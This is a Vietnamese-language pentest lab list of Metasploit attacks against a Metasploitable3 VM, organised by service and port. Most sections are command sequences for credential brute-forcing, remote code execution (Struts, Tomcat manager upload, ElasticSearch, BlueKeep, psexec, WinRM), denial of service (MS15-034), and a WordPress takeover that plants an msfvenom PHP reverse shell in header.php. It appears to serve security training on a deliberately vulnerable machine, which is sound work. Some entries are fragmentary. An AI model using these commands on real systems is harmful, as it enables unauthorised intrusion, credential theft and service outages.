metasploitable example attacks list.docx
- 1. GlassFish 1. Port 4848 - msfconsole - search glass - use auxiliary/scanner/http/glassfish_login - set user_file path__ - set pass_file path__ - set stop_on_success true - set rhosts __ - set username "" - run
- 2. Apache Struts - 8282 - use exploit/multi/http/struts_dmi_rest_exec - set rhosts 192.168.228.132 - set rport 8282 - run https://medium.com/@dt22/cve-2016-3087-apache-struts-rest-plugin- with-dynamic-method-invocation-remote-code-execution- 197260439105
- 3. Tomcat - 8282 Apache Tomcat cung cấp phần mềm để chạy các ứng dụng Java trong trình duyệt. Coyote là một máy chủ web độc lập cung cấp các servlet cho các ứng dụng Tomcat. Nghĩa là, nó hoạt động giống như máy chủ web Apache, nhưng dành cho Trang máy chủ Java (JSP). Tất cả điều này có nghĩa là các trang web được truy cập qua cổng 8282 sẽ được tập hợp bởi một ứng dụng web Java. Có nhiều mô-đun Metasploit có sẵn cho Tomcat vì vậy bạn nên tập trung vào mục tiêu của mình: Khảo sát trang web Khai thác các trang dễ bị tổn thương Lấy thông tin xác thực Triển khai tải trọng 1. Tomcat_enum – Username của tomcat - use auxiliary/scanner/http/tomcat_enum - set rhosts 192.168.228.132 - set rport 8282 - set targeturi /manager - run
- 4. 2. Tomcat_login - use auxiliary/scanner/http/tomcat_mgr_login - set userpass_file "" - set rhosts 192.168.228.132 - set rport 8282 - set user_file /home/kali/ATHDH/metasploitable3/user - set pass_file /home/kali/ATHDH/metasploitable3/pass - set stop_on_success true - run 3. Tomcat upload
- 5. - use exploit/multi/http/tomcat_mgr_upload - set rhosts 192.168.228.132 - set rport 8282 - set httppassword sploit - set httpusername sploit - set target 1 - set payload payload/windows/meterpreter/reverse_tcp - run Kết quả:
- 6. Jenkins - 8484 Jenkins là một máy chủ tự động hóa mã nguồn mở được viết bằng Java. Jenkins giúp tự động hóa phần không liên quan đến con người trong quá trình phát triển phần mềm, với sự tích hợp liên tục và tạo điều kiện thuận lợi cho các khía cạnh kỹ thuật của quá trình phân phối liên tục. 1. jenkins_script_console - use expl - set rport 8484 - set targeturi / - run Sau khi vào được shell có thể thao tác như tìm thông tin, hay thêm tài khoản,,....
- 8. IIS - FTP - 21 Vai trò Máy chủ Web (IIS) trong Windows Server cung cấp nền tảng an toàn, dễ quản lý, mô-đun và có thể mở rộng để lưu trữ các trang web, dịch vụ và ứng dụng một cách đáng tin cậy. Trong Windows Server 2008, Internet Information Services (IIS) có giao diện quản trị và kho cấu hình mới, đồng thời dịch vụ FTP mới được tích hợp chặt chẽ với thiết kế này. Microsoft đã viết lại dịch vụ FTP và dịch vụ phiên bản cập nhật này kết hợp nhiều tính năng mới cho phép tác giả web xuất bản nội dung tốt hơn trước và cung cấp cho quản trị viên web nhiều tùy chọn triển khai và bảo mật hơn. Nhưng mặc dù được tích hợp trong Máy chủ Web, dịch vụ IIS FTP hoạt động khá giống với bất kỳ máy chủ FTP nào khác, 1. IIS-FTP - 21 - use auxiliary/scanner/ftp/ftp_login - set rhosts 192.168.228.132 - set rport 21 - set user_file /home/kali/ATHDH/metasploitable3/user - set pass_file /home/kali/ATHshDH/metasploitable3/pass - run
- 9. Sau khi biết được tài khoản, mật khẩu có thể tiến hành tấn công: - dotdotpwn -m ftp -o windows -U Administrator -P vagrant -h 192.168.228.132
- 10. 2. IIS - HTTP Lỗ hổng thực thi mã từ xa tồn tại trong ngăn xếp giao thức HTTP (HTTP.sys) xảy ra khi HTTP.sys phân tích cú pháp các yêu cầu HTTP được tạo đặc biệt không đúng cách. Kẻ tấn công khai thác thành công lỗ hổng này có thể thực thi mã tùy ý trong tài khoản Hệ thống. Từ chối dịch vụ IIS Lỗ hổng này được OpenVAS báo cáo là cực kỳ nghiêm trọng. Nó được xác định bằng số Bản tin bảo mật của Microsoft giải thích nó (MS15- 034 ) và bằng CVE của nó ( 2015-1635 ). Tạo tấn công DoS:
- 11. - use auxiliary/dos/http/ms15_034_ulonglongadd - set rhosts 192.168.228.132 - run Kết quả máy mục tiêu bị sập:
- 12. psexec PsExec là một trong những cách khai thác phổ biến nhất chống lại Microsoft Windows. Đó là một cách tuyệt vời để kiểm tra độ bảo mật của mật khẩu và chứng minh mật khẩu bị đánh cắp có thể dẫn đến sự xâm phạm hoàn toàn toàn bộ mạng công ty như thế nào. Để có thể sử dụng exploit/windows/smb/psexec: Tên người dùng và mật khẩu hợp lệ phải được đặt. Tường lửa phải cho phép lưu lượng SMB. Chính sách bảo mật mạng của máy Windows từ xa phải cho phép điều đó. Xem phần "Vô hiệu hóa UAC từ xa" bên dưới. 1. Login - use auxiliary/scanner/smb/smb_login - set rhosts 192.168.228.132 - set user_file /home/kali/ATHDH/metasploitable3/user - set pass_file /home/kali/ATHDH/metasploitable3/pass - run 2. Psexec - use exploits/windows/smb/psexec
- 13. - set rhosts 192.168.228.132 - set smbuser vagrant - set smbpass vagrant - run https://github.com/rapid7/metasploit-framework/blob/master/ documentation/modules/exploit/windows/smb/psexec.md
- 14. SSH -22 Metasploit có một mô-đun phụ trợ sẽ kiểm tra thông tin xác thực SSH trên nhiều loại máy và báo cáo các lần đăng nhập thành công. Nếu bạn đã kết nối với cơ sở dữ liệu, mô-đun này sẽ ghi lại thông tin đăng nhập và máy chủ thành công để bạn có thể theo dõi quyền truy cập của mình. Ngoài ra, mỗi lần đăng nhập thành công sẽ mở ngay một phiên trên máy từ xa. Sau đó, phiên này có thể được nâng cấp lên phiên Meterpreter - use auxiliary/scanner/ssh/ssh_login - set rhosts 192.168.228.132 - set user_file /home/kali/ATHDH/metasploitable3/user - set pass_file /home/kali/ATHDH/metasploitable3/pass - set verbose true -run
- 15. WinRM - 5985 WinRM là dịch vụ quản lý từ xa dành cho Windows được cài đặt nhưng không được bật theo mặc định trong Windows XP và các phiên bản cao hơn, nhưng bạn cũng có thể cài đặt nó trên các hệ điều hành cũ hơn. Dịch vụ chị em của WinRM có tên là Windows Remote Shell (WinRS). Cả hai dịch vụ được xác thực này đều được liên kết với trình nghe SOAP HTTP hoặc HTTPS và hỗ trợ xác thực Kerberos và NTLM theo mặc định. Tôi bắt đầu xem xét xác thực NTLM vì nó đã được hỗ trợ trong Metasploit. Nếu bạn đang thiết lập WinRM, xin lưu ý rằng thiết lập quickconfig mặc định sẽ khiến dịch vụ ở trạng thái khó xử, không hoạt động. Nó sẽ đặt AllowUnencrypted thành false , nghĩa là nó sẽ từ chối thiết lập bất kỳ phiên nào qua HTTP mà không có SSL. Thật không may, thiết lập quickconfig sẽ không định cấu hình trình nghe HTTPS. Giờ đây, người dùng có thể đặt AllowUnecrypted thành true hoặc định cấu hình trình nghe HTTPS. Điều đầu tiên cần xây dựng là một mô-đun khám phá cơ bản xác định xem dịch vụ WinRM có đang lắng nghe trên một cổng HTTP(S) nhất định hay không. Nếu có, nó cũng liệt kê các phương thức xác thực được hỗ trợ. Ảnh chụp màn hình cho thấy cách mô-đun khám phá tạo mục nhập dịch vụ cho WinRM với các loại xác thực có trong thông tin. 1. Quét cổng có WinRM - use auxiliary/scanner/winrm/winrm_auth_methods - set rhosts 192.168.228.132 - run
- 16. 2. Tấn công đăng nhập: - use auxiliary/scanner/winrm/winrm_login - set rhosts 192.168.228.132 - set user_file /home/kali/ATHDH/metasploitable3/user - set pass_file /home/kali/ATHDH/metasploitable3/pass - set password pass - run 3. Truy vấn WQL Khi đã tìm thấy thông tin xác thực hợp lệ cho dịch vụ WinRM, chúng tôi có thể lạm dụng chức năng WMI để thực thi các truy vấn WQL tùy ý đối với mục tiêu. Mô-đun này cũng sẽ lưu kết quả truy vấn dưới dạng loot.
- 17. Trong ví dụ bên dưới, chúng tôi chạy truy vấn WQL để lấy kiến trúc của hệ thống từ xa (32 hoặc 64 bit). - use auxiliary/scanner/winrm/winrm_wql - set rhosts 192.168.228.132 - set username vagrant - set password vagrant - run 4. Truy vấn với winrs cmd Người chị song sinh dính liền của WinRM, WinRS, cho phép người dùng khởi tạo một shell trên hộp điều khiển từ xa, gửi lệnh và nhận các luồng đầu ra. Metasploit có thể gửi bất kỳ lệnh Windows tùy ý nào và nhận cả STDOUT và STDERR, về cơ bản cung cấp một lớp vỏ không trạng thái qua HTTP/SOAP. Điều quan trọng cần lưu ý là hệ vỏ WinRS có thời gian tồn tại tối đa trước khi dịch vụ đóng chúng. Dịch vụ này cũng có giới hạn lệnh đồng thời có thể định cấu hình, nhưng những điều này không quan trọng trong trường hợp này vì chúng tôi chỉ thực thi một lệnh duy nhất và dọn dẹp shell. Ở đây, chúng tôi thực hiện một lệnh ipconfig đơn giản làm ví dụ. - use auxiliary/scanner/winrm/winrm_cmd - set rhosts 192.168.228.132 - set username vagrant
- 18. - set password vagrant - run Bây giờ chúng ta đang ở vị trí thuận lợi để có được đạn pháo. Trong nhiều năm, mô-đun PSExec là cách chính để sử dụng thông tin xác thực hệ thống để lấy shell. Điều này ngày càng trở nên kém tin cậy hơn vì nhiều tải trọng của Metasploit Framework bị các giải pháp chống vi-rút phát hiện. Người dùng Metasploit Pro có tùy chọn tạo động các tải trọng EXE, nhưng điều này không dễ thực hiện được. 5. Thực hiện script exploit Ưu điểm của mô-đun khai thác WinRM Script Exec là có thể lấy shell mà không cần kích hoạt giải pháp chống vi-rút trong một số trường hợp
- 19. nhất định. Mô-đun này có hai phương thức phân phối tải trọng khác nhau. Phương thức phân phối chính của nó là thông qua việc sử dụng PowerShell 2.0. Mô-đun này kiểm tra xem PowerShell 2.0 có sẵn trên hệ thống hay không. Sau đó, nó sẽ cố gắng kích hoạt thực thi tập lệnh không hạn chế, một bước quan trọng vì PowerShell không thực thi các tệp tập lệnh không dấu theo mặc định. Nếu một trong hai lần kiểm tra này không thành công, nó sẽ mặc định sử dụng phương thức tải trọng VBS CmdStager, nếu không nó sẽ sử dụng phương thức Powershell 2.0 của chúng tôi. - use exploits/windows/winrm/winrm_script_exec - set rhosts 192.168.228.132 - set username vagrant - set password vagrant - run
- 20. Chinese caidao - 80 - use auxiliary/scanner/http/caidao_bruteforce_login - set rhosts 192.168.228. - run
- 21. ManageEngine - 8020 Desktop Central là phần mềm quản lý thiết bị di động và máy tính để bàn tích hợp giúp quản lý máy chủ, máy tính xách tay, máy tính để bàn, điện thoại thông minh và máy tính bảng từ một vị trí trung tâm. Nó được sử dụng để tự động hóa các quy trình quản lý máy tính để bàn thông thường của bạn như cài đặt bản vá, phân phối phần mềm, quản lý Tài sản CNTT, quản lý giấy phép phần mềm, giám sát số liệu thống kê sử dụng phần mềm, quản lý việc sử dụng thiết bị USB, kiểm soát máy tính để bàn từ xa, v.v. Nó hỗ trợ quản lý cả hệ điều hành Windows, Mac và Linux. - use exploit/windows/http/manageengine_connectionid_write - set rhosts 192.168.228.132 - run
- 22. ElasticSearch -9200 Mô-đun này khai thác lỗ hổng thực thi lệnh từ xa (RCE) trong ElasticSearch, có thể khai thác theo mặc định trên ElasticSearch trước phiên bản 1.2.0. Lỗi được tìm thấy trong API REST, không yêu cầu xác thực, trong đó chức năng tìm kiếm cho phép thực thi tập lệnh động. Nó có thể được sử dụng để kẻ tấn công từ xa thực thi mã Java tùy ý. Mô-đun này đã được thử nghiệm thành công trên ElasticSearch 1.1.1 trên Ubuntu Server 12.04 và Windows XP SP3. - use exploit/multi/elasticsearch/script_mvel_rce - set rhosts 192.168.228.132 - run
- 23. Apache Axis2 1. Apache axis2 exploit Ứng dụng Web Apache Axis2 có ba phần chính: 'Dịch vụ' liệt kê tất cả các dịch vụ có sẵn được triển khai trong máy chủ này, 'Xác thực' kiểm tra hệ thống để xem liệu tất cả các thư viện cần thiết có sẵn sàng hay không và xem thông tin hệ thống, và 'Quản trị' là mô-đun Quản trị Web Axis2 là bảng điều khiển để quản lý cài đặt Apache Axis2. Mô-đun Quản trị Web Axis2 cung cấp cách cấu hình Axis2 một cách linh hoạt. - use exploit/multi/http/axis2_deployer - set rhosts 192.168.228.132 - set rport 8282 - run 2. Apache axis2 login - msfconsole - use auxiliary/scanner/http/axis_login - set user_file /home/kali/ATHDH/metasploitable3/user - set pass_file /home/kali/ATHDH/metasploitable3/pass
- 24. - set stop_on_success true - set rhosts 192.168.228.132 - set rport 8282 - run
- 25. WebDAV - 8585 Mô-đun này có thể lạm dụng các máy chủ web bị định cấu hình sai để tải lên và xóa nội dung web thông qua các yêu cầu HTTP PUT và DELETE. - use auxiliary/scanner/http/http_put - set rhosts 192.168.228.132 - set rport 8585 - set filename meterpreter.php - set path /uploads - run https://github.com/rapid7/metasploit-framework/blob/master/ documentation/modules/exploit/multi/http/axis2_deployer.md
- 26. SNMP - 161 Giao thức quản lý mạng đơn giản là giao thức Internet tiêu chuẩn để thu thập và tổ chức thông tin về các thiết bị được quản lý trên mạng IP và để sửa đổi thông tin đó nhằm thay đổi hành vi của thiết bị. - use auxiliary/scanner/snmp/snmp_enum - set rhosts 192.168.228.132 - run
- 27. MySQL Tấn công mật khẩu - use auxiliary/scanner/mysql/mysql_login - set RHOSTS 192.168.157.132 - set userpass_file /home/kali/Documents/user_pass - set verbose yes - run
- 28. Liệt kê tất cả các tài khoản MySQL trên hệ thống và các đặc quyền khác nhau của chúng. - use auxiliary/admin/mysql/mysql_enum - set RHOSTS 192.168.157.132 - set username root - set password ‘’ - run Truy xuất toàn bộ nội dung của cơ sở dữ liệu:
- 29. - auxiliary/scanner/mysql/mysql_schemadump - set RHOSTS 192.168.157.132 - set username root - set password ‘’ - run
- 30. JMX-1617 Mô-đun này tận dụng cấu hình không an toàn của giao diện Java JMX, cho phép tải các lớp từ bất kỳ URL (HTTP) từ xa nào. Các giao diện JMX bị vô hiệu hóa xác thực (com.sun.management.jmxremote.authenticate=false) sẽ dễ bị tấn công, trong khi các giao diện được bật xác thực sẽ chỉ dễ bị tấn công nếu cấu hình yếu được triển khai (cho phép sử dụng javax.management.loading.MLet, có trình quản lý bảo mật cho phép tải ClassLoader MBean, v.v.) - use multi/misc/java_jmx_server - set rhosts 192.168.228.132 - set rport 1617 - run
- 31. Wordpress - 8585 Khai thác tài khoản mật khẩu trong trong login wordpress. - use auxiliary/scanner/http/wordpress_xmlrpc_login - set RHOSTS 192.168.157.132 - set RPORT 8585 - set targeturi /wordpress - set userpass_file /home/kali/Documents/user_pass - set blank_passwords true - set verbose false - run
- 32. Liệt kê những người dùng hiện có và sau đó nó sẽ kiểm tra thông tin xác thực hợp lệ: - use auxiliary/scanner/http/wordpress_login_enum - set RHOSTS 192.168.157.132 - set RPORT 8585 - set userpass_file /home/kali/Documents/user_pass - set targeturi /wordpress - run Exploit chiếm quyền điều khiển: -B1: Dùng user, pass đã lấy được để đăng nhập vào wordpress và vào Appearance > Editor chọn header.php
- 33. -B2: dùng lệnh sau để tạo phần code thêm cho header.php trong đó gán lhost và lport là ip máy tấn công và port tấn công
- 34. - msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.157.132 lport=5555 -f raw > meterp.php -B3: copy nội dung file đã tạo paste vào header.php rồi ấn upload -B4: Setup tool để truy cập shell
- 35. - use exploit/multi/handler - set LHOST 192.168.157.128 - set LPORT 5555 - set payload php/meterpreter/reverse_tcp - run -B5: vào lại :8585/wordpress để tool có thể gửi ngược để truy cập shell Tấn công upload form: - use exploit/multi/http/wp_ninja_forms_unauthenticated_file_upload - set rhosts 192.168.228.132 - set rport 8585 - set targeturi /wordpress/ - set form_path /index.php/king-of-hearts/ - run
- 37. Remote Desktop Remote bằng shell: Dùng DoS đánh sập cổng remote desktop: - use auxiliary/scanner/rdp/ms12_020_check - set RHOSTS 192.168.157.132 - run
- 38. Dịch vụ này cũng dễ bị tấn công Bluekeep và bạn có thể sử dụng mô- đun Metasploit thích hợp để kiểm tra sự tồn tại của lỗ hổng này trong máy mục tiêu. - use exploit/windows/rdp/cve_2019_0708_bluekeep_rce - set RHOSTS 192.168.157.132 - set target 2 - run
- 39. PHPMyAdmin
- 40. Ruby on Rails Không vào đc port 3000